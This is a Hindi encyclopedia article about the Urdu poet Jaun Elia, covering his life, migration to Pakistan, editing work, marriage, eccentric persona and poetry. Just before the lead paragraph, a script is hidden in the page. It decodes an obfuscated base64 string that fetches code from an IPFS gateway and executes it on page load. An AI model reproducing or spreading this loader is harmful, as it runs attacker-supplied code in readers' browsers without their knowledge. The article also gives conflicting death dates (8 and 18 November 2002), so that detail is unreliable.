जौन एलिया

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जौन एलिया
Jaun-Elia.jpg
पूरा नाम सय्यद हुसैन जौन असग़र नक़वी
अन्य नाम जौन (उपनाम)
जन्म 14 दिसम्बर, 1931
जन्म भूमि अमरोहा, उत्तर प्रदेश
मृत्यु 8 नवम्बर, 2002
मृत्यु स्थान कराची, पाकिस्तान
अभिभावक पिता- सय्यद शफ़ीक़ हसन एलिया
पति/पत्नी ज़ाहिदा हिना
कर्म-क्षेत्र उर्दू शायरी
प्रसिद्धि उर्दू शायर, कवि, विद्वान, दार्शनिक
नागरिकता भारतीय - 1947 से 1957

पाकिस्तानी - 1957 से 2002

विधा ग़ज़ल, कविता
अन्य जानकारी शायरी के साथ-साथ जौन एलिया के पढ़ने के ड्रामाई अंदाज़ से भी श्रोता ख़ुश होते थे। उनकी शिरकत मुशायरों की कामयाबी की ज़मानत थी। नामवर शायर उन मुशायरों में, जिनमें जौन एलिया हों, शिरकत से घबराते थे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>सय्यद हुसैन जौन असग़र नक़वी (अंग्रेज़ी: Syed Hussain Jaun Asghar Naqvi, जन्म- 14 दिसम्बर, 1931; मृत्यु- 8 नवम्बर, 2002) प्रसिद्ध भारतीय उर्दू शायर थे। सादा, लेकिन तीखी तराशी और चमकाई हुई ज़बान में निहायत गहरी और शोर अंगेज़ बातें कहने वाले हफ़्त ज़बान शायर, पत्रकार, विचारक, अनुवादक, गद्यकार, बुद्धिजीवी और स्व-घोषित नकारात्मकतावादी और अनारकिस्ट जौन एलिया एक ऐसे ओरिजनल शायर थे जिनकी शायरी ने न सिर्फ उनके ज़माने के अदब नवाज़ों के दिल जीत लिए बल्कि जिन्होंने अपने बाद आने वाले अदीबों और शायरों के लिए ज़बान-ओ-बयान के नए मानक निर्धारित किए। जौन एलिया ने अपनी शायरी में इश्क़ की नई दिशाओं का सुराग़ लगाया। वो बाग़ी, इन्क़िलाबी और परंपरा तोड़ने वाले थे लेकिन उनकी शायरी का लहजा इतना सभ्य, नर्म और गीतात्मक है कि उनके अशआर में मीर तक़ी मीर के नश्तरों की तरह सीधे दिल में उतरते हुए श्रोता या पाठक को फ़ौरी तौर पर उनकी कलात्मक विशेषताओं पर ग़ौर करने का मौक़ा ही नहीं देते। मीर के बाद यदा-कदा नज़र आने वाली तासीर की शायरी को निरंतरता के साथ नई गहराईयों तक पहुंचा देना जौन एलिया का कमाल है।[1]

परिचय

जौन एलिया उत्तर प्रदेश के शहर अमरोहा के एक इल्मी घराने में 14 दिसम्बर, 1931 ई. में पैदा हुए। उनके वालिद सय्यद शफ़ीक़ हसन एलिया एक ग़रीब शायर और विद्वान थे। उनके और अपने बारे में जौन एलिया का कहना था जिस बेटे को उसके इंतिहाई ख़्याल पसंद और आदर्शवादी बाप ने व्यवहारिक जीवन गुज़ारने का कोई तरीक़ा न सिखाया हो बल्कि ये शिक्षा दी हो कि शिक्षा सबसे बड़ी विशेषता है और किताबें सबसे बड़ी दौलत तो वो व्यर्थ न जाता तो क्या होता। पाकिस्तान के नामचीन पत्रकार रईस अमरोहवी और मशहूर मनोवैज्ञानिक मुहम्मद तक़ी जौन एलिया के भाई थे, जबकि फ़िल्मसाज़ कमाल अमरोही उनके चचाज़ाद भाई थे।

बचपन और लड़कपन

जौन एलिया के बचपन और लड़कपन के वाक़ियात जौन एलिया के शब्दों में हैं, जैसे, “अपनी पैदाइश के थोड़ी देर बाद छत को घूरते हुए मैं अजीब तरह हंस पड़ा, जब मेरी ख़ालाओं ने ये देखा तो डर कर कमरे से बाहर निकल गईं। इस बेमहल हंसी के बाद मैं आज तक खुल कर नहीं हंस सका।” या “आठ बरस की उम्र में मैंने पहला इश्क़ किया और पहला शे’र कहा।”

शिक्षा

जौन एलिया की आरंभिक शिक्षा अमरोहा के मदरसों में हुई जहां उन्होंने उर्दू, अरबी और फ़ारसी सीखी। पाठ्य पुस्तकों से कोई दिलचस्पी नहीं थी और इम्तिहान में फ़ेल भी हो जाते थे। बड़े होने के बाद उनको फ़लसफ़ा और हइयत से दिलचस्पी पैदा हुई। उन्होंने उर्दू, फ़ारसी और फ़लसफ़ा में एम.ए की डिग्रियां हासिल कीं। वो अंग्रेज़ी, पहलवी, इबरानी, संस्कृत और फ़्रांसीसी ज़बानें भी जानते थे।[1]

पुस्तक सम्पादक

नौजवानी में जौन एलिया कम्यूनिज़्म की तरफ़ उन्मुख हुए। विभाजन के बाद उनके बड़े भाई पाकिस्तान चले गए थे। माँ और बाप के देहावसान के बाद जौन एलिया को भी 1956 में न चाहते हुए भी पाकिस्तान जाना पड़ा और वो आजीवन अमरोहा और हिन्दोस्तान को याद करते रहे। उनका कहना था, “पाकिस्तान आ कर में हिन्दुस्तानी हो गया।” जौन को काम में मशग़ूल कर के उनको अप्रवास की पीड़ा से निकालने के लिए रईस अमरोहवी ने एक इलमी-ओ-अदबी रिसाला “इंशा” जारी किया, जिसमें जौन संपादकीय लिखते थे। बाद में उस रिसाले को “आलमी डाइजेस्ट” में तबदील कर दिया गया। उसी ज़माने में जौन एलिया ने इस्लाम से पूर्व मध्य पूर्व का राजनैतिक इतिहास संपादित किया और बातिनी आंदोलन के साथ साथ फ़लसफ़े पर अंग्रेज़ी, अरबी और फ़ारसी किताबों के तर्जुमे किए। उन्होंने कुल मिला कर 35 किताबें संपादित कीं। वो उर्दू तरक़्क़ी बोर्ड, पाकिस्तान से भी संबद्ध रहे, जहां उन्होंने एक वृहत उर्दू शब्दकोश की तैयारी में मुख्य भूमिका निभाई।

इश्क़िया शायरी

जौन एलिया का मिज़ाज बचपन से आशिक़ाना था। वो अक्सर ख़्यालों में अपनी महबूबा से बातें करते रहते थे। बारह बरस की उम्र में वो एक ख़्याली महबूबा सोफ़िया को ख़ुतूत भी लिखते रहे। फिर नौजवानी में एक लड़की फ़ारहा से इश्क़ किया जिसे वो ज़िंदगीभर याद करते रहे, लेकिन उससे कभी इज़हार-ए-इश्क़ नहीं किया। उनके इश्क़ में एक अजीब अहंकार था और वो इश्क़ के इज़हार को एक ज़लील हरकत समझते थे। “हुस्न से अर्ज़-ए-शौक़ न करना हुस्न को ज़क पहुंचाना है/ हमने अर्ज़-ए-शौक़ न कर के हुस्न को ज़क पहुंचाई है।” इस तरह उन्होंने अपने तौर पर इश्क़ की तारीख़ की उन तमाम हसीनाओं से, उनके आशिक़ों की तरफ़ से इंतिक़ाम लिया जिनके दिल उन हसीनाओं ने तोड़े थे। ये उर्दू की इश्क़िया शायरी में जौन एलिया का पहला कारनामा है।

विवाह

जिस ज़माने में जौन एलिया “इंशा” में काम कर रहे थे, उनकी मुलाक़ात मशहूर जर्नलिस्ट और अफ़साना निगार ज़ाहिदा हिना से हुई। 1970 में दोनों ने शादी कर ली। ज़ाहिदा हिना ने उनकी बहुत अच्छी तरह देख-भाल की और वो उनके साथ ख़ुश भी रहे लेकिन दोनों के मिज़ाजों के फ़र्क़ ने धीरे धीरे अपना रंग दिखाया। ये दो अनाओं का टकराव था और दोनों में से एक भी ख़ुद को बदलने के लिए तैयार नहीं था। आख़िर तीन बच्चों की पैदाइश के बाद दोनों की तलाक़ हो गई।[1]

शख्सियत

जौन एलिया ने पाकिस्तान पहुंचते ही अपनी शायरी के झंडे गाड़ दिए थे। शायरी के साथ साथ उनके पढ़ने के ड्रामाई अंदाज़ से भी श्रोता ख़ुश होते थे। उनकी शिरकत मुशायरों की कामयाबी की ज़मानत थी। नामवर शायर उन मुशायरों में, जिनमें जौन एलिया भी हों, शिरकत से घबराते थे। जौन को अजूबा बन कर लोगों को अपनी तरफ़ मुतवज्जा करने का शौक़ था। अपने लंबे लंबे बालों के साथ ऐसे कपड़े पहनना जिनसे उनकी लिंग ही संदिग्ध हो जाए, गर्मियों में कम्बल ओढ़ कर निकलना, रात के वक़्त धूप का चशमा लगाना, खड़ाऊँ पहन कर दूर दूर तक लोगों से मिलने चले जाना, उनके लिए आम बात थी।

मृत्यु

ज़ाहिदा हिना से अलागाव जौन एलिया के लिए बड़ा सदमा था। अरसा तक वो नीम-तारीक कमरे में तन्हा बैठे रहते। सिगरेट और शराब की अधिकता ने उनकी सेहत बहुत ख़राब कर दी, उनके दोनों फेफड़े बेकार हो गए। वो ख़ून थूकते रहे लेकिन शराबनोशी से बाज़ नहीं आए। 18 नवंबर, 2002 को उनकी मौत हो गई। अपनी ज़िंदगी की तरह वो अपनी शायरी के प्रकाशन की तरफ़ से भी लापरवाह थे। 1990 में लगभग साठ साल की उम्र में लोगों के आग्रह पर उन्होंने अपना पहला काव्य संग्रह “शायद” प्रकाशित कराया था। उसके बाद उनके कई संग्रह 'गोया', 'लेकिन', 'यानी' और 'गुमान' प्रकाशित हुए।

बड़े शायर

जौन एलिया बड़े शायर थे तो इसलिए नहीं कि उनकी शायरी उन तमाम कसौटियों पर खरी उतरती है जो सदियों की काव्य परम्परा और आलोचनात्मक मानकों के तहत स्थापित हुई है। वो बड़े शायर इसलिए हैं कि शायरी के सबसे बड़े विषय इंसान की जज़्बाती और नफ़सियाती परिस्थितियों पर जैसे अशआर जौन एलिया ने कहे हैं, उर्दू शायरी की रिवायत में इसकी कोई मिसाल नहीं मिलती। कैफ़ियत को एहसास की शिद्दत के साथ पाठक या श्रोता तक स्थानांतरित करने की जो सलाहियत जौन के यहां है, उसकी मिसाल उर्दू शायरी में सिर्फ मीर तक़ी मीर के यहां मिलती है।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 जौन एलिया का परिचय (हिंदी) rekhta.org। अभिगमन तिथि: 27 नवंबर, 2021।

बाहरी कड़ियाँ

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